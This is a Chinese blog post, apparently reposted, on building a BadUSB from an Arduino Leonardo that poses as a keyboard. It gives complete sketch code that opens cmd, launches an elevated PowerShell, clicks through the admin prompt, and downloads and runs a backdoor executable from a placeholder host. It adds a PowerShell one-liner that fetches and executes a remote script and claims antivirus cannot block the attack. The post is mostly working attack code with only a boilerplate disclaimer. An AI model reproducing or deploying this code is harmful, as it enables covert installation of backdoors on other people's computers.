[Arduino]利用Arduino Leonardo開發板制作BadUSB,劫持鍵盤...嘿嘿嘿


BadUSB其實原理就是用開發板模擬鍵盤,然后鍵入各種命令

具體的原理,可以移步騰訊安全應急響應中心 https://security.tencent.com/index.php/blog/msg/74

我手里剛好有一個自帶USB接口的Arduino Leonardo開發板(只要是支持Keyboard的板子應該都可以),所以就拿來試試

 

我根據上面的原理,通過模擬win+R 啟動CMD

然后在cmd中,以管理員身份啟動PowerShell

使用PowerShell下載后門程序及運行

因為BadUSB利用的是USB端口在設計時就有的缺陷,所以整個感染過程,基本沒有殺毒軟件能夠主動防御

殺毒軟件能攔截的只有后門程序,但是對BadUSB它也是無可奈何的

下面就直接貼代碼了

#include <Keyboard.h>
void setup() {
  // put your setup code here, to run once:
  Keyboard.begin();
  delay(1000);
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500);
  Keyboard.press(KEY_LEFT_GUI);
  delay(500);
  Keyboard.press('r');
  delay(500);
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  delay(500);
  Keyboard.println("cmd");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("powershell.exe -command start-process powershell -verb runAs && exit");
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(1000);
  Keyboard.press(KEY_LEFT_ARROW);
  Keyboard.release(KEY_LEFT_ARROW);
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(5000);
  Keyboard.println("$P = new-object system.net.webclient");
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("$P.downloadfile('HTTP://xxx.xxx.xxx.xxx/111.EXE','111.EXE');start-process 111.EXE;exit");
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();
}

void loop() {
  // put your main code here, to run repeatedly:

}

程序當中的延時是很有必要的,如果是電腦反應慢,還沒打開,BadUSB就進行了輸入,那么CMD肯定無法接收到輸入的命令

尤其是begin時的延遲,建議調大。

當然也可以執行遠程PSL腳本,命令如下

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://url')"

至於更多玩法。。。大家自己腦補吧

 

本文可能存在攻擊性,請勿用於非法用途。個人興趣研究完全沒問題,一切責任與本人無關,如有不足的地方希望指點,謝謝。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM